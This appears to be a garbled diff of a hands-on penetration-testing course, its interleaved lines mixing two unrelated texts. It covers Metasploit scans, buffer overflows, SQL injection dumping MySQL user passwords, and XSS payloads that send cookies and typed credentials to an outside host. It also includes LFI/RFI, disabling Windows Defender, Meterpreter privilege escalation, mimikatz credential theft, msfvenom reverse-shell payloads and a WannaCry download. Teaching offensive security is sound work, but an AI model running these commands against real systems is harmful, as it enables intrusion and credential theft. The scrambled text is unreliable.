 ----------------------------------------------------------------------
 
 - Here is an example:
 ---------------------------Type This-----------------------------------
 use auxiliary/scanner/http/trace_axd
 
 set RHOSTS 207.20.57.112
 
 set VHOST www.motion-vr.net
 
 run
 ----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 use auxiliary/scanner/http/http_version
 
 set RHOSTS 45.77.162.239
 
 set RPORT 80
 
 run
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 use auxiliary/scanner/http/tomcat_enum
 
 set RHOSTS 217.108.137.200
 
-# Meterpreter Challenge #
+set RPORT 8080
 
 run
 -----------------------------------------------------------------------
 
 
 #####################################
 # Quick Stack Based Buffer Overflow #
 #####################################
 
 - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
 http://45.63.104.73/ExploitLab.zip
-# Writing Your Own Nmap NSE Scripts #
+http://45.63.104.73/nc-password-is-netcat.zip   <--- save this file to your c:\windows\system32 directory
 
 
 
 - Extract the ExploitLab.zip file to your Desktop
-sudo vi /usr/share/nmap/scripts/intro-nse.nse
+
 - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
--- The Head Section --
+
--- The Rule Section --
+
-portrule = function(host, port)
+
-    return port.protocol == "tcp"
+
-            and port.number == 80
+
-            and port.state == "open"
+
 
 - In the new command prompt window where you ran nc type:
--- The Action Section --
+
-action = function(host, port)
+
-    return "Munich Hacking!"
+
 - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
 
 - Now double-click on 1-simplefuzzer.py
-- Ok, now that we've made that change let's run the script
+
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
+
 
 - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
 
 - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
 
 - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
 
-sudo vi /usr/share/nmap/scripts/intro-nse.nse
+
 
--- The Head Section --
+
-local shortport = require "shortport"
+
 - Calculate the distance to EIP by running script 3-3000chars.py
--- The Rule Section --
+
-portrule = shortport.http
+
 4-count-chars-to-EIP.py
 - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
--- The Action Section --
+
-action = function(host, port)
+
-    return "Munich Hacking!"
+
 - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
 
 6-jmp-esp.py
-- Ok, now that we've made that change let's run the script
+
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
 7-first-exploit
 - In this script we actually do the stack overflow and launch a bind shell on port 4444
 
 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
 
 
 ------------------------------
-OK, now let's have some fun with my buddy Carlos Perez's website.
+
 
 
-sudo vi /usr/share/nmap/scripts/intro-nse.nse
+Skill Level 3. Identify unknown vulnerabilities
 -----------------------------------------------
--- The Head Section --
+
-local shortport = require "shortport"
+- App Type
-local http = require "http"
+------------
    Stand Alone             Client Server               Web App
--- The Rule Section --
+
-portrule = shortport.http
+                       ***(vulnerserver.exe)***
 
--- The Action Section --
+
-action = function(host, port)
+- Input TYpe
 -------------
-    local uri = "/installing-metasploit-in-ubunt/"
+   FIle                    logical network port            Browser
-    local response = http.get(host, port, uri)
+   Keyboard
-    return response.status
+   Mouse
 
 
 
                        ***(9999)***
-- Ok, now that we've made that change let's run the script
+
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
 - Map & Fuzz app entry points:
 ------------------------------
    - Commands              ***(commands)***
    - Methods
    - Verbs
-sudo vi /usr/share/nmap/scripts/intro-nse.nse
+   - functions
    - subroutines
--- The Head Section --
+   - controllers
-local shortport = require "shortport"
+
-local http = require "http"
+
 - Isolate the crash
--- The Rule Section --
+-------------------
-portrule = shortport.http
+App seems to reliably crash at TRUN 2100
 
--- The Action Section --
+
-action = function(host, port)
+- Calculate the distance to EIP
 -------------------------------
-    local uri = "/installing-metasploit-in-ubunt/"
+Distance to EIP is 2006
-    local response = http.get(host, port, uri)
+
 We found that EIP was populated with the value: 396F4338
-    if ( response.status == 200 ) then
+396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
-        return response.body
+
 An online tool that we can use for this is:
 https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
 
 
 
-- Ok, now that we've made that change let's run the script
+- Redirect Program Execution
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
 A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
 We learned that we control EAX and ESP in script 2.
 
 
 
 
 
 - Implement Shellcode
 ---------------------
 There are only 2 things that can go wrong with shellcode:
-sudo vi /usr/share/nmap/scripts/intro-nse.nse
+- Not enough space
 - Bad characters
--- The Head Section --
+
-local shortport = require "shortport"
+
-local http = require "http"
+
-local string = require "string"
+
 
--- The Rule Section --
+
-portrule = shortport.http
+
 # FreeFloat FTP Server Exploit Analysis #
--- The Action Section --
+
-action = function(host, port)
+
 
-    local uri = "/installing-metasploit-in-ubunt/"
+
-    local response = http.get(host, port, uri)
+
 https://www.exploit-db.com/exploits/15689/
-    if ( response.status == 200 ) then
+
-        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
+
-        return title
+
 3. What is the actual distance to EIP in bytes?
 4. Describe what is happening in the variable ‘junk2’
 
 
 
-- Ok, now that we've made that change let's run the script
+
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
 http://45.63.104.73/ff.zip
 
 
 
 
 ff1.py
 1. What does the sys module do?
 2. What is sys.argv[1] and sys.argv[2]?
-sudo vi /usr/share/nmap/scripts/intro-nse.nse
+
 
--- The Head Section --
+
-local shortport = require "shortport"
+
-local http = require "http"
+
-local string = require "string"
+
 2. What is pattern_create.rb doing and where can I find it?
--- The Rule Section --
+
-portrule = shortport.http
+
 
--- The Action Section --
+
-action = function(host, port)
+
 1. Explain what is happening in lines 17 - to 25?
-    local uri = "/installing-metasploit-in-ubunt/"
+
-    local response = http.get(host, port, uri)
+
 
-    if ( response.status == 200 ) then
+
-        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
+
 ff4.py
-        if (title) then
+1. Explain what is happening in lines 13 to 15.
-            return "Vulnerable"
+
-        else
+
-            return "Not Vulnerable"
+
 
 
 ff5.py
 1. Explain what is happening in line 15.
 2. What is struct.pack?
 3. How big is the shellcode in this script?
-- Ok, now that we've made that change let's run the script
+
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
+
 
 ff6.py
 1. What is the distance to EIP?
 2. How big is the shellcode in this script?
 3. What is the total byte length of the data being sent to this app?
 
 
 
 
 ff7.py
 1. What is a tuple in python?
 2. How big is the shellcode in this script?
 3. Did your app crash in from this script?
 
 
 
 
 ff8.py
 1. How big is the shellcode in this script?
 2. What is try/except in python?
 3. What is socket.SOCK_STREAM in Python?
 
 
 
 ff9.py
 1. What is going on in lines 19 and 20?
 2. What is the length of the NOPs?
 3. From what DLL did the address of the JMP ESP come from?
 
 
 
 
 ff010.py
 1. What is going on in lines 18 - 20?
 2. What is going on in lines 29 - 32?
 3. How would a stack adjustment help this script?
 
 
 #####################################################
 # Log into the Linux virtual machine on your laptop #
 # username: infosecaddicts                          #
 # password: infosecaddicts                          #
 #####################################################
 
 
 /bin/bash
 
 sudo apt-get install -y build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev libyaml-dev curl zlib1g-dev gawk bison libffi-dev libgdbm-dev libncurses5-dev libtool sqlite3 libgmp-dev gnupg2 dirmngr nmap
 
 gpg2 --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
 
----------------------------Paste this into Firefox-----------------------------------
+curl -L https://get.rvm.io | bash -s stable
-http://45.63.104.73/
+
--------------------------------------------------------------------------------------
+source ~/.rvm/scripts/rvm
 
 echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
 
----------------------------Paste this into Firefox-----------------------------------
+source ~/.bashrc
-http://45.63.104.73/acre2.php?lap=acer
+
--------------------------------------------------------------------------------------
+RUBYVERSION=$(wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/.ruby-version -q -O - )
 
-    - Found parameter passing (answer yes to question 1)
+rvm install $RUBYVERSION
-    - Insert ' to test for SQLI
+
 rvm use $RUBYVERSION --default
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer'
+cd ~/toolz
--------------------------------------------------------------------------------------
+
 sudo git clone https://github.com/rapid7/metasploit-framework.git
 
-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
+sudo chown -R `whoami` ~/toolz/metasploit-framework
 
 mv metasploit-framework metasploit
 
 cd ~/toolz/metasploit
 
----------------------------Paste this into Firefox-----------------------------------
+rvm --default use ruby-${RUBYVERSION}@metasploit
-http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
+
--------------------------------------------------------------------------------------
+rvm --default use ruby-${RUBYVERSION}@metasploit
 
 rvm use $RUBYVERSION --default
 
 ruby -v
 
 gem install bundler
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
+bundle install
--------------------------------------------------------------------------------------
+
 gem install bundler
 
 bundle install
 
 
 ################################
----------------------------Paste this into Firefox-----------------------------------
+# Exploitation with Metasploit #
-http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
+
--------------------------------------------------------------------------------------
+Step 1: Disable the firewall on your Windows 10 host
 
 Step 2: Run your command prompt as an administrator
 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
 
 Step 3: Restart your computer (I'm sorry - I know this sux!)
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
+Step 4: Start the vulnerable server (no need to turn on OllyDBG)
--------------------------------------------------------------------------------------
+
 Step 5: From your CentoS run the following commands
 ---------------------------Type This-----------------------------------
 cd ~/
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
+unzip ExploitLab.zip
--------------------------------------------------------------------------------------
+
 cd ExploitLab/4-AttackScripts/
 
 vi vulnserv.rb
 
 cp vulnserv.rb ~/toolz/metasploit/modules/exploits/windows/misc
 
 cd ~/toolz/metasploit/
 
 ./msfconsole
 
----------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
+
--------------------------------------------------------------------------------------
+
 set PAYLOAD windows/meterpreter/bind_tcp
 set RHOST [CHANGEME-TO-YOUR-WIN10-IP]
 set RPORT 9999
 exploit
 -----------------------------------------------------------------------
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
+
--------------------------------------------------------------------------------------
+
 
 
 
 ###########################
 # Client-Side Enumeration #
 ###########################
 
----------------------------Paste these one line at a time into Firefox-----------------------------------
+
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
+
 ********************************** Figure out who and where you are **********************************
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
+
 meterpreter> sysinfo
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
+meterpreter> getuid
-------------------------------------------------------------------------------------- -------------------
+
 
 meterpreter> ipconfig
 
 
 meterpreter> run post/windows/gather/checkvm
 
 meterpreter> run post/multi/manage/autoroute
 -----------------------------------------------------------------------
 
 
 ********************************** Enumerate the host you are on **********************************
 
 
-###############################################################################
+
-# What is XSS                                                                 #
+meterpreter > run post/windows/gather/enum_applications
-# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx            #
+
-###############################################################################
+meterpreter > run post/windows/gather/enum_logged_on_users
 
 meterpreter > run post/windows/gather/usb_history
 
 meterpreter > run post/windows/gather/enum_shares
-    ---------------------------Paste this into Firefox-----------------------------------
+
-    http://45.63.104.73/xss_practice/
+meterpreter > run post/windows/gather/enum_snmp
-    -------------------------------------------------------------------------------------
+
 meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
-    A really simple search page that is vulnerable should come up.
+
 
 
 
 
 ********************************** Escalate privileges and get hashes **********************************
-    ---------------------------Paste this into Firefox-----------------------------------
+
-    <script>alert('So this is XSS')</script>
+
-    -------------------------------------------------------------------------------------
+
 meterpreter> use priv
 -----------------------------------------------------------------------
-    This should pop-up an alert window with your message in it proving XSS is in fact possible.
+
-    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 --Option 1: GetSystem
 ---------------------------Type This-----------------------------------
 meterpreter> getsystem
-    ---------------------------Paste this into Firefox-----------------------------------
+
-    <script>alert(document.cookie)</script>
+
-    -------------------------------------------------------------------------------------
+--Option 2:
 ---------------------------Type This-----------------------------------
 meterpreter > run post/windows/escalate/getsystem
-    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
+
-    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 --Option 3:
 ---------------------------Type This-----------------------------------
-    ---------------------------Paste this into Firefox-----------------------------------
+meterpreter> background
-    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
+back
-    -------------------------------------------------------------------------------------
+use post/windows/escalate/droplnk
 set SESSION 1
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST [ ChangeME to CentOS VM IP ]
 set LPORT 1234
 exploit
-   ---------------------------Paste this into Firefox-----------------------------------
+
-   http://45.63.104.73/xss_practice/cookie_stealer_logs.html
+
-   -------------------------------------------------------------------------------------
+--Option 4:
 ---------------------------Type This-----------------------------------
 use exploit/windows/local/bypassuac
 set SESSION 1
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST [ ChangeME to CentOS VM IP ]
 set LPORT 12345
 exploit
 -----------------------------------------------------------------------
 
 
 --Option 5:
 ---------------------------Type This-----------------------------------
 use exploit/windows/local/service_permissions
 set SESSION 1
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST [ ChangeME to CentOS VM IP ]
 set LPORT 5555
----------------------------Paste this into Firefox-----------------------------------
+
-    http://45.63.104.73/xss_practice/
+
--------------------------------------------------------------------------------------
+
 
 --Option 6:
 ---------------------------Type This-----------------------------------
 use exploit/windows/local/trusted_service_path
 set SESSION 1
 set PAYLOAD windows/meterpreter/reverse_tcp
-Option 1
+set LHOST [ ChangeME to CentOS VM IP ]
---------
+set LPORT 4567
----------------------------Paste this into Firefox-----------------------------------
+
 -----------------------------------------------------------------------
 
-document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
+--Option 7:
 ---------------------------Type This-----------------------------------
--------------------------------------------------------------------------------------
+use exploit/windows/local/ppr_flatten_rec
 set SESSION 1
 set PAYLOAD windows/meterpreter/reverse_tcp
----------------------------Paste this into Firefox-----------------------------------
+set LHOST [ ChangeME to CentOS VM IP ]
-    http://45.63.104.73/xss_practice/passwords.html
+set LPORT 7777
--------------------------------------------------------------------------------------
+
 -----------------------------------------------------------------------
 
-Option 2
+
---------
+--Option 8:
--------------------------Paste this into Firefox-----------------------------------
+
 use exploit/windows/local/ms_ndproxy
-username=prompt('Please enter your username',' ');
+set SESSION 1
-password=prompt('Please enter your password',' ');
+set PAYLOAD windows/meterpreter/reverse_tcp
-document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
+set LHOST [ ChangeME to CentOS VM IP ]
 set LPORT 7788
--------------------------------------------------------------------------------------
+
 -----------------------------------------------------------------------
 
 --Option 9:
 ---------------------------Type This-----------------------------------
-http://45.63.104.73/xss_practice/username_password_logs.html
+use exploit/windows/local/ask
 set SESSION 1
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST [ ChangeME to CentOS VM IP ]
 set LPORT 7799
 exploit
-# Let's try a local file include (LFI)  #
+
 
-- Here is an example of an LFI
+
-- Open this page in Firefox:
+    A window will pop up and you need to click Yes in order to get your new meterpreter shell
--------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/showfile.php?filename=contactus.txt
+
--------------------------------------------------------------------------------------
+meterpreter > getuid
 
 meterpreter > ps                (search for a process running as NT AUTHORITY\SYSTEM)
-- Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
+
-- Here you see a direct reference to a file on the local filesystem of the victim machine.
+meterpreter > migrate 2800      (your process id WILL NOT be 2800, but make sure you use one that is running at NT AUTHORITY\SYSTEM)
-- You can attack this by doing the following:
+
--------------------------Paste this into Firefox-----------------------------------
+meterpreter > getsystem
-http://45.63.104.73/showfile.php?filename=/etc/passwd
+...got system (via technique 1).
--------------------------------------------------------------------------------------
+
 
 meterpreter > getuid
-- This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
+Server username: NT AUTHORITY\SYSTEM
-- somewhere else on the Internet. Here is an example of a text file on the web:
+
--------------------------Paste this into Firefox-----------------------------------
+
-http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
+meterpreter> run post/windows/gather/hashdump
--------------------------------------------------------------------------------------
+
 meterpreter> run post/windows/gather/credentials/credential_collector
-- Now we can attack the target via RFI like this:
+
--------------------------Paste this into Firefox-----------------------------------
+
-http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
+
--------------------------------------------------------------------------------------
+********************************** Steal Tokens **********************************
 
 ---------------------------Type This-----------------------------------
 meterpreter > getsystem
 
-# How much fuzzing is enough? #
+meterpreter > use incognito
 
-There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
+meterpreter > list_tokens -u
 
-Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
+meterpreter > list_tokens -g
 
 meterpreter > impersonate_token                         <-- choose who you want to impersonate but be sure to use 2 slashes in the name (ex: impersonate_token domain\\user)
-Step 1: Ask yourself the 3 questions per page of the site.
+
 meterpreter> getuid
-Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
+
 
-Step 3: When you load your fuzz strings - use the following decision tree
+
 ************ Stealing credentials and certificates ************
-    - Are the fuzz strings causing a default error message (example 404)?
+- NOTE: Most of the stuff after 'kerberos' DOES NOT work, but is given here so you know the correct syntax to use when connected to AD or dealing with smart/CAC cards.
-        - If this is the case then it is most likely NOT vulnerable
+
 ---------------------------Type This-----------------------------------
-    - Are the fuzz strings causing a WAF or LB custom error message?
+meterpreter > getsystem
-        - If this is the case then you need to find an encoding method to bypass
+
 meterpreter > load mimikatz
 
-    - Are the fuzz strings causing an error message that discloses the backend type?
+meterpreter > kerberos
-        - If yes, then identify DB type and find correct syntax to successfully exploit
+
-        - Some example strings that I use are:
+meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"
-            '
+
-            "
+meterpreter > msv                                                               <-- Your AD password
-            ()          <----- Take the parameter value and put it in parenthesis
+
-            (5-1)       <----- See if you can perform an arithmetic function
+meterpreter > livessp                                                           <-- Your Windows8 password
 
 meterpreter > ssp                                                               <-- Your outlook password
-    - Are the fuzz strings rendering executable code?
+
-        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
+meterpreter > tspkg                                                             <-- Your AD password
-        - Some example strings that I use are:
+
-            <b>hello</b>
+meterpreter > wdigest                                                           <-- Your AD password
-            <u>hello</u>
+
-            <script>alert(123);</script>
+meterpreter > mimikatz_command -f crypto::listStores
-            <script>alert(xss);</script>
+
-            <script>alert('xss');</script>
+meterpreter > mimikatz_command -f crypto::listCertificates
-            <script>alert("xss");</script>
+
 meterpreter > mimikatz_command -f crypto::exportCertificates CERT_SYSTEM_STORE_CURRENT_USER
 
-###############################################################
+meterpreter > mimikatz_command -f crypto::patchcapi
-# Question 1: What is the process that you use when you test? #
+
-###############################################################
+meterpreter> search -d <directory> -f <file-pattern>
 -----------------------------------------------------------------------
-Step 1: Automated Testing
+
 # Section 4: Custom Meterpreter Scripting #
-Step 1a: Web Application vulnerability scanners
+
 ---------------------------Type This-----------------------------------
-- Run two (2) unauthenticated vulnerability scans against the target
+cd ~
-- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
+mkdir binaries
-- Run two (2) authenticated vulnerability scans against the target with admin privileges
+cd ~/binaries
 wget https://s3.amazonaws.com/infosecaddictsfiles/wce.exe
-The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
+wget https://s3.amazonaws.com/infosecaddictsfiles/nc.exe
 wget https://s3.amazonaws.com/infosecaddictsfiles/mimikatz.exe
-A good web application vulnerability scanner comparison website is here:
+
-http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
+
 
 can offer.  This will also show you the flexibility of the Meterpreter scripts.
-Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
+
 - We're going to start off with a simple Hello World script first.
-When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
+
 ---------------------------Type This-----------------------------------
 echo 'print_status("Hello World")' > /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb
-Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
+
 
 - This next portion is up to you, exploit your test box and end up with a Meterpreter shell.
-Also, be sure to save the scan results and logs. I usually provide this data to the customer.
+
 - Lets test out our helloworld.rb Meterpreter script.
 
 ---------------------------Type This-----------------------------------
-Step 1b: Directory Brute Forcer
+
 
-I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
+
 - So far so good, now we can build on this base.  Lets add a couple more API calls to the script.
 
 - Open /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb in your favorite and add following
-Step 2: Manual Testing
+
 line.
-Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
+
 vi /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb
-Step 2a: Spider/Scan the entire site with Burp Suite
+
-Save the spider and scan results. I usually provide this data to the customer as well.
+
 ---------------------------Type This-----------------------------------
 print_error("this is an error!")
-Step 2b: Browse through the site using the 3 question method
+
-Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
+
 - Now run the script:
-Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
+
 meterpreter> run helloworld
-Here is what I mean:
+
-http://www.site.com/page.aspx?parametername=parametervalue
+
 - Now that we have the basics down, we're going to do something a little more exciting.
-When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
+
 
-http://www.site.com/page.aspx?parametername=[ payload ]
+
         begin
-You need to ensure that you send the payload this way, and like this below:
+
         rescue ::Exception => e
-http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
+
         end
-This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
+
 
 -----------------------------------------------------------------------
 - Copy and paste the following code into our helloworld.rb script:
 ---------------------------Type This-----------------------------------
 def getinfo(session)
     begin
        sysnfo = session.sys.config.sysinfo
        runpriv = session.sys.config.getuid
-# Question 2: How much fuzzing is enough? #
+
        print_status("The target machine OS is #{sysnfo['OS']}")
-There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
+
        print_status("Script running as #{runpriv}")
-Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
+
       print_error("The following error was encountered #{e}")
    end
-Step 1: Ask yourself the 3 questions per page of the site.
+
 
-Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
+
 --------------------------------------------------------------------------
-Step 3: When you load your fuzz strings - use the following decision tree
+
 
-    - Are the fuzz strings causing a default error message (example 404)?
+
-        - If this is the case then it is most likely NOT vulnerable
+
 meterpreter> run helloworld
-    - Are the fuzz strings causing a WAF or LB custom error message?
+
-        - If this is the case then you need to find an encoding method to bypass
+
 - We can expand it by adding actual system commands to the script, lets look at how we can do this.
 
-    - Are the fuzz strings causing an error message that discloses the backend type?
+
-        - If yes, then identify DB type and find correct syntax to successfully exploit
+
-        - Some example strings that I use are:
+
-            '
+
-            "
+
-            ()          <----- Take the parameter value and put it in parenthesis
+
-            (5-1)       <----- See if you can perform an arithmetic function
+
           print_status "running command #{cmd}"
           r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
-    - Are the fuzz strings rendering executable code?
+
-        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
+
-        - Some example strings that I use are:
+
-            <b>hello</b>
+
-            <u>hello</u>
+
-            <script>alert(123);</script>
+
-            <script>alert(xss);</script>
+
-            <script>alert('xss');</script>
+
-            <script>alert("xss");</script>
+
     end
  end
 
 commands = [ "set",
     "ipconfig  /all",
     "arp -a"]
 
--------------------------------------------------------------------------------------------
+
- OWASP Top 10 Video Explanations
+
 
-Burp Suite Reference:
+
-https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
+
 ---------------------------Type This-----------------------------------
-A1: Injection Vulnerabilities
+
-https://www.youtube.com/watch?v=9CnpHT5Nn8c&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
+
 
 Note: Add all of the commands from the script below to your helloworld.rb script:
-A2: Broken Authentication and Session Management
+
-https://www.youtube.com/watch?v=R1iGRBG3PJ8&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=2
+
 
-A3: Cross Site Scripting (XSS)
+
-https://www.youtube.com/watch?v=90XT0j5E7xo&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=4
+
 
-A4: Insecure Direct Object Reference
+
-https://www.youtube.com/watch?v=bMYpGj2xzpM&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=5
+wget http://45.63.104.73/wannacry.zip
 
 unzip wannacry.zip
-A5: Security Misconfiguration
+     **** password is infected ***
-https://www.youtube.com/watch?v=ouuXu9_UM0w&index=7&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
+
 file wannacry.exe
 
-A6: Sensitive Data Exposure
+objdump -x wannacry.exe
-https://www.youtube.com/watch?v=x-B8I420x7Y&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=8
+
 strings wannacry.exe
 
-A7: Missing Function Level Access Control and A8 Cross-Site Request Forgery (CSRF)
+strings --all wannacry.exe | head -n 6
-https://www.youtube.com/watch?v=gf6cb7MnP-c&index=9&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj
+
 strings wannacry.exe | grep -i dll
-A9 Using Components w/ Known Vulnerabilities & A10 Unvalidated Redirects and Forwards
+
-https://www.youtube.com/watch?v=WqlSl-Pc1vk&list=PL5wHbxAvWUF6bXvbg2VHxQnCp_weS9hIj&index=10
+strings wannacry.exe | grep -i library
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
 strings wannacry.exe | grep -i rsa
 
 strings wannacry.exe | grep -i open
 
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
-Day 2
+strings wannacry.exe | grep -i irc
-=-------------------------------------------------------------------------
+
 strings wannacry.exe | grep -i join
 
 strings wannacry.exe | grep -i admin
-# Lab 1a: Stack Overflows #
+
 strings wannacry.exe | grep -i list
 
-    #################################
+
-    # Start WarFTPd                 #
+cd ~/toolz/metasploit/
-    # Start WinDBG                  #
+./msfvenom -p windows/meterpreter/reverse_tcp lhost={<your-linux-vm-ip>} lport=443 -f exe -o ~/yourname_reverseshell_payload.exe
-    # Press F6                      #
+./msfvenom -p windows/meterpreter/bind_tcp lport=4444 -f exe -o ~/yourname_bindshell_payload.exe
-    # Attach to war-ftpd.exe        #
+./msfvenom -p windows/exec CMD=calc.exe -f exe -o ~/yourname_calc_payload.exe
-    #################################
+./msfvenom -p windows/vncinject/reverse_tcp lhost={<your-linux-vm-ip>} lport=443 -f exe -o ~/yourname_vncinject_reverseshell_payload.exe
 
 cd ~
-c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP
+
 ***** now run all of the previous commands against your newly created payloads *****
 
-    At WINDBG prompt
+**** now upload your newly created payloads to virustotal ****
